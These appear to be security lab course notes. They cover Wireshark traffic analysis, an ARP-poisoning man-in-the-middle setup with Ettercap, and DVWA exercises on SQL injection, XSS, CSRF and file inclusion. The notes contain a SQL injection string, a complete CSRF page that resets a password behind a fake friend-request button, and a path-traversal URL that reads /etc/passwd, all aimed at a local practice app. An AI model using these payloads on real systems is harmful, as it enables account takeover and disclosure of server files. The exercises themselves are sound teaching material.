Module cs1
Module cs1
1. Basic Packet Inspection: Capture network traffic using Wire shark and analyze
basic protocols like HTTP, DNS, and SMTP to understand how data is transmitted
and received.
These are just basic examples of packet analysis using Wireshark. As you continue to explore, you'll
discover more about how these protocols work and how to analyze them in more detail.
2. Detecting Suspicious Activity: Analyze network traffic to identify suspicious
patterns, such as repeated connection attempts or unusual communication
between hosts.
ARP Poisoning Attack: Setting up an Attack using Ettercap and Analyzing Captured Packets
with Wireshark
In this module, we'll set up an ARP poisoning attack using Ettercap and analyze the captured
packets using Wireshark to understand how the attack can lead to a Man-in-the-Middle (MitM)
scenario.
ARP Poisoning Attack
ARP (Address Resolution Protocol) poisoning is a type of attack where an attacker sends fake ARP
messages to associate their MAC address with the IP address of a legitimate device on the network.
This allows the attacker to intercept traffic intended for the legitimate device, creating a MitM
scenario.
Tools Needed
• Ettercap (ARP poisoning tool)
• Wireshark (packet analyzer)
• Two devices on the same network (e.g., a laptop and a router)
Step 1: Set up the Network
Set up a network with two devices: a laptop ( Victim ) and a router ( Gateway ). Ensure they are
connected to the same network.
Step 2: Set up Ettercap
Install and configure Ettercap on the attacker's machine ( Attacker ). Ettercap will be used to send
fake ARP messages to the Victim and Gateway.
Step 3: Launch the ARP Poisoning Attack
Launch Ettercap and start the ARP poisoning attack. Ettercap will send fake ARP messages to the
Victim and Gateway, associating the Attacker's MAC address with the IP address of the Gateway.
Step 4: Capture Packets with Wireshark
Start a new capture in Wireshark on the Attacker's machine. Capture the packets sent and received
by the Attacker during the ARP poisoning attack.
Step 5: Analyze Captured Packets
Analyze the captured packets using Wireshark. Look for the following:
• ARP Requests and Responses: Identify the fake ARP messages sent by Ettercap to the Victim
and Gateway.
• Traffic Redirection: Observe how the traffic intended for the Gateway is now being sent to
the Attacker.
• MitM Scenario: Verify that the Attacker is now in a MitM position, able to intercept and
modify traffic between the Victim and Gateway.
Wireshark Features Used
Wireshark provides several features that help in this scenario:
• Packet Capture: Wireshark captures the packets sent and received by the Attacker during the
ARP poisoning attack.
• Protocol Analysis: Wireshark's protocol analysis capabilities help identify the fake ARP
messages and traffic redirection.
• Packet Filtering: Wireshark's filtering capabilities allow us to focus on specific packets and
protocols.
Example:
Let's say we've captured the packets and analyzed them using Wireshark. We can see the fake ARP
messages sent by Ettercap:
We can also see the traffic redirection, where the Victim's traffic intended for the Gateway is now
being sent to the Attacker:
Module 2: Web Application Security using DVWA.
1. SQL Injection: Use DVWA to practice SQL injection attacks. Demonstrate how an attacker
can manipulate input fields to extract, modify, or delete database information.
1' OR '1'='1
2. Enter the payload in the "User ID" field and click "Submit".
3. The application will display the database name, indicating a successful SQL injection attack.
Step 5: Enumerate Database Tables
1. Use the following SQL injection payload to enumerate the database tables:
XSS is a technique in which attackers inject malicious scripts into a target website and may allow them
to gain access control of the website. If a website allows users to input data like comment, username
field and email address field without controls then attacker can insert malicious code script as well.
TYPES OF XSS:
1. Reflected XSS
2. Stored XSS
3. Dom Base XSS
Reflected XSS(cross site scripting):RXSS In this case, hacker data is not stored on the website. reflected
XSS only execute on the victim side. reflected cross-site scripting A hacker sends input script that
website then reflected back to the victim’s browser, where hacker it executed the malicious JavaScript
payloads.
Let’s try cross site scripting virtual environment
Requirements:
1. Xampp or wamp
2. DVWA (Damn vulnerable web application)
3. Browser like Firefox, explorer, Cyberfox, Chrome e.t.c
DVWA low level Reflected XSS:
Stored XSS (Cross site scripting):SXSS
Stored cross-site scripting (XSS) In this case the hacker malicious code is stored target website and the
web server. when an attacker can send malicious JavaScript into the website and that script is executed
other users’ computers that is stored (XSS) cross-site scripting.
DVWA Low Level Stored XSS:
DOM BASE XSS:
Dom base (XSS) cross-site scripting attack is a short-form document object model based cross-site
scripting. That is, the page itself HTTP response does not change, An attacker may use several DOM
objects to create a Cross-site Scripting attack. The most popular objects from this perspective are
documents.URL, document.location, and document.referrer.
DVWA low level DOM XSS
3. Cross-Site Request Forgery (CSRF): Set up a CSRF attack in DVWA to demonstrate how
attackers can manipulate authenticated users into performing unintended actions.
<html>
<body>
<script>
function submitForm() {
var form = document.createElement("form");
form.setAttribute("method", "GET");
form.setAttribute("action",
"http://localhost/dvwa/vulnerabilities/csrf/?password_new=attacker&password_conf=attacker&Ch
ange=Change");
document.body.appendChild(form);
form.submit();
}
</script>
<h1>You have a new friend request!</h1>
<button onclick="submitForm()">Click here to view</button>
</body>
</html>
1. This HTML file will create a form with the necessary parameters to change the password and
automatically submit it when the user clicks the button.
2. Save the HTML file and open it in a web browser.
Step 4: Execute the CSRF Attack
1. While logged in to DVWA as the admin user, click the "Click here to view" button in the HTML
file.
2. Observe that the password has been changed to "attacker" without the user's knowledge or
consent.
Findings and Implications
1. The CSRF attack was successful in changing the user's password without their knowledge or
interaction.
2. An attacker could use this technique to perform various malicious actions, such as transferring
funds, changing account information, or performing other unauthorized activities on behalf of
the authenticated user.
Mitigations
To mitigate the risks of CSRF attacks, organizations should implement the following measures:
1. Implement CSRF Tokens: Require a unique, unpredictable token to be included in every form
submission. This token should be verified on the server-side to ensure the request originated
from the expected source.
2. Use the SameSite Cookie Attribute: Set the SameSite attribute on session cookies to prevent
them from being included in cross-site requests, effectively mitigating CSRF attacks.
3. Implement Referrer Checking: Verify the referrer header of incoming requests to ensure they
originate from the expected domain.
4. Limit Functionality: Restrict the functionality available to unauthenticated users or limit the
actions that can be performed without re-authentication.
5. Educate Users: Inform users about the risks of CSRF attacks and advise them to be cautious
when clicking on links or buttons from untrusted sources.
By implementing these security measures, organizations can significantly reduce the risk of CSRF
attacks and protect their web applications and users from unauthorized actions.
4. File Inclusion Vulnerabilities: Explore remote and local file inclusion vulnerabilities in
DVWA. Show how attackers can include malicious files on a server and execute
arbitrary code.
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
This will attempt to include the /etc/passwd file, which contains sensitive user information.
5. If successful, the contents of the /etc/passwd file will be displayed on the page.